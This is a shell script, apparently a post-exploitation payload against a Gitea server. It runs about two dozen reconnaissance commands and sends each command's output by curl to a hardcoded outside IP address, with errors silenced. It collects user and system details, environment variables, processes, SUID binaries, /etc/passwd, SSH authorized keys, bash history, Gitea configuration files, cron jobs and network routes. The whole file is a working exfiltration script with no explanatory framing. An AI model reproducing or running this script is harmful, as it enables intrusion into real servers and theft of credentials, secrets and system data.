#!/bin/sh # id OUTPUT=$(id 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd00 || true # whoami OUTPUT=$(whoami 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd01 || true # hostname OUTPUT=$(hostname 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd02 || true # uname -a OUTPUT=$(uname -a 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd03 || true # cat /etc/os-release OUTPUT=$(cat /etc/os-release 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd04 || true # pwd OUTPUT=$(pwd 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd05 || true # ls -la / OUTPUT=$(ls -la / 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd06 || true # ls -la /home/ OUTPUT=$(ls -la /home/ 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd07 || true # env | head -30 OUTPUT=$(env | head -30 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd08 || true # ps aux | head -40 OUTPUT=$(ps aux | head -40 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd09 || true # ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null OUTPUT=$(ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd10 || true # cat /etc/hosts OUTPUT=$(cat /etc/hosts 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd11 || true # df -h OUTPUT=$(df -h 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd12 || true # find / -perm -4000 -type f 2>/dev/null | head -20 OUTPUT=$(find / -perm -4000 -type f 2>/dev/null | head -20 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd13 || true # cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS OUTPUT=$(cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd14 || true # cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY OUTPUT=$(cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd15 || true # cat /etc/passwd OUTPUT=$(cat /etc/passwd 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd16 || true # cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG OUTPUT=$(cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd17 || true # cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON OUTPUT=$(cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd18 || true # find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30 OUTPUT=$(find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd19 || true # ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR OUTPUT=$(ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd20 || true # ip addr 2>/dev/null || ifconfig 2>/dev/null OUTPUT=$(ip addr 2>/dev/null || ifconfig 2>/dev/null 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd21 || true # route -n 2>/dev/null || ip route 2>/dev/null OUTPUT=$(route -n 2>/dev/null || ip route 2>/dev/null 2>&1 | head -100) echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd22 || true